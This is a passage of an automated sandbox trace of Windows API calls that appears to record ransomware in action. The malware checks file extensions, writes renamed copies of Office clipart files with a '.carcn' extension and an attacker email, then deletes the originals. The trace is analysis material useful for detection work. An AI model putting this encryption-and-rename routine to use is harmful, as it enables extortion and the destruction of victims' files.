(lpString1=".bz2", lpString2=".WMF") returned -1 [0261.942] lstrlenW (lpString=".7z") returned 3 [0261.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.942] lstrlenW (lpString=".dbf") returned 4 [0261.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.943] lstrlenW (lpString=".1cd") returned 4 [0261.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.943] lstrlenW (lpString=".jpg") returned 4 [0261.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.943] lstrlenW (lpString=".doc") returned 4 [0261.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString=".docx") returned 5 [0261.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.943] lstrlenW (lpString=".pdf") returned 4 [0261.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString=".xls") returned 4 [0261.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.943] lstrlenW (lpString=".xlsx") returned 5 [0261.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.943] lstrlenW (lpString=".ppt") returned 4 [0261.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.943] lstrlenW (lpString=".zip") returned 4 [0261.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.943] lstrlenW (lpString=".rar") returned 4 [0261.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString=".bz2") returned 4 [0261.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString=".7z") returned 3 [0261.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.944] lstrlenW (lpString=".dbf") returned 4 [0261.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.944] lstrlenW (lpString=".1cd") returned 4 [0261.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0261.944] lstrlenW (lpString=".jpg") returned 4 [0261.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.944] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0261.944] lstrlenW (lpString="AN01173_.WMF") returned 12 [0261.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.945] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=26332) returned 1 [0261.945] CloseHandle (hObject=0x528) returned 1 [0261.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0261.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0261.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.946] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.946] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0261.946] GetLastError () returned 0x0 [0261.946] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0261.970] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0261.971] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.972] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.972] SetEndOfFile (hFile=0x530) returned 1 [0261.972] CloseHandle (hObject=0x530) returned 1 [0261.974] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.974] SetEndOfFile (hFile=0x528) returned 1 [0261.984] CloseHandle (hObject=0x528) returned 1 [0261.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0261.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0261.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.985] lstrlenW (lpString=".doc") returned 4 [0261.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.985] lstrlenW (lpString=".docx") returned 5 [0261.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.985] lstrlenW (lpString=".pdf") returned 4 [0261.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.985] lstrlenW (lpString=".xls") returned 4 [0261.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.985] lstrlenW (lpString=".xlsx") returned 5 [0261.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.985] lstrlenW (lpString=".ppt") returned 4 [0261.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.985] lstrlenW (lpString=".zip") returned 4 [0261.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.985] lstrlenW (lpString=".rar") returned 4 [0261.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.985] lstrlenW (lpString=".bz2") returned 4 [0261.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.985] lstrlenW (lpString=".7z") returned 3 [0261.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.985] lstrlenW (lpString=".dbf") returned 4 [0261.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.986] lstrlenW (lpString=".1cd") returned 4 [0261.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.986] lstrlenW (lpString=".jpg") returned 4 [0261.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.986] lstrlenW (lpString=".doc") returned 4 [0261.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.986] lstrlenW (lpString=".docx") returned 5 [0261.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.986] lstrlenW (lpString=".pdf") returned 4 [0261.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.986] lstrlenW (lpString=".xls") returned 4 [0261.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.986] lstrlenW (lpString=".xlsx") returned 5 [0261.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.986] lstrlenW (lpString=".ppt") returned 4 [0261.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.986] lstrlenW (lpString=".zip") returned 4 [0261.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.986] lstrlenW (lpString=".rar") returned 4 [0261.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.986] lstrlenW (lpString=".bz2") returned 4 [0261.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.986] lstrlenW (lpString=".7z") returned 3 [0261.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.987] lstrlenW (lpString=".dbf") returned 4 [0261.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.987] lstrlenW (lpString=".1cd") returned 4 [0261.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0261.987] lstrlenW (lpString=".jpg") returned 4 [0261.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.987] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0261.987] lstrlenW (lpString="AN01174_.WMF") returned 12 [0261.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.988] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=27858) returned 1 [0261.988] CloseHandle (hObject=0x528) returned 1 [0261.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0261.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0261.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.988] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.988] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0261.989] GetLastError () returned 0x0 [0261.989] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0262.070] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0262.073] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.073] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.073] SetEndOfFile (hFile=0x530) returned 1 [0262.073] CloseHandle (hObject=0x530) returned 1 [0262.074] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.074] SetEndOfFile (hFile=0x528) returned 1 [0262.076] CloseHandle (hObject=0x528) returned 1 [0262.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.077] lstrlenW (lpString=".doc") returned 4 [0262.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.077] lstrlenW (lpString=".docx") returned 5 [0262.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.077] lstrlenW (lpString=".pdf") returned 4 [0262.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString=".xls") returned 4 [0262.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.078] lstrlenW (lpString=".xlsx") returned 5 [0262.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.078] lstrlenW (lpString=".ppt") returned 4 [0262.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.078] lstrlenW (lpString=".zip") returned 4 [0262.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.078] lstrlenW (lpString=".rar") returned 4 [0262.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString=".bz2") returned 4 [0262.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString=".7z") returned 3 [0262.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.078] lstrlenW (lpString=".dbf") returned 4 [0262.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.078] lstrlenW (lpString=".1cd") returned 4 [0262.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.078] lstrlenW (lpString=".jpg") returned 4 [0262.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.078] lstrlenW (lpString=".doc") returned 4 [0262.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString=".docx") returned 5 [0262.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.078] lstrlenW (lpString=".pdf") returned 4 [0262.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.078] lstrlenW (lpString=".xls") returned 4 [0262.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.079] lstrlenW (lpString=".xlsx") returned 5 [0262.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.079] lstrlenW (lpString=".ppt") returned 4 [0262.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.079] lstrlenW (lpString=".zip") returned 4 [0262.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.079] lstrlenW (lpString=".rar") returned 4 [0262.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.079] lstrlenW (lpString=".bz2") returned 4 [0262.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.079] lstrlenW (lpString=".7z") returned 3 [0262.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.079] lstrlenW (lpString=".dbf") returned 4 [0262.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.079] lstrlenW (lpString=".1cd") returned 4 [0262.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0262.079] lstrlenW (lpString=".jpg") returned 4 [0262.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.079] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.079] lstrlenW (lpString="AN01184_.WMF") returned 12 [0262.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.080] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3746) returned 1 [0262.080] CloseHandle (hObject=0x528) returned 1 [0262.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0262.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.081] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.081] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0262.081] GetLastError () returned 0x0 [0262.081] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xea2, lpOverlapped=0x0) returned 1 [0262.083] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0262.084] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.084] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.084] SetEndOfFile (hFile=0x530) returned 1 [0262.084] CloseHandle (hObject=0x530) returned 1 [0262.085] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.085] SetEndOfFile (hFile=0x528) returned 1 [0262.087] CloseHandle (hObject=0x528) returned 1 [0262.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.088] lstrlenW (lpString=".doc") returned 4 [0262.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.088] lstrlenW (lpString=".docx") returned 5 [0262.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.088] lstrlenW (lpString=".pdf") returned 4 [0262.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.088] lstrlenW (lpString=".xls") returned 4 [0262.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.088] lstrlenW (lpString=".xlsx") returned 5 [0262.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.088] lstrlenW (lpString=".ppt") returned 4 [0262.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.088] lstrlenW (lpString=".zip") returned 4 [0262.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.088] lstrlenW (lpString=".rar") returned 4 [0262.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString=".bz2") returned 4 [0262.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString=".7z") returned 3 [0262.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.089] lstrlenW (lpString=".dbf") returned 4 [0262.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.089] lstrlenW (lpString=".1cd") returned 4 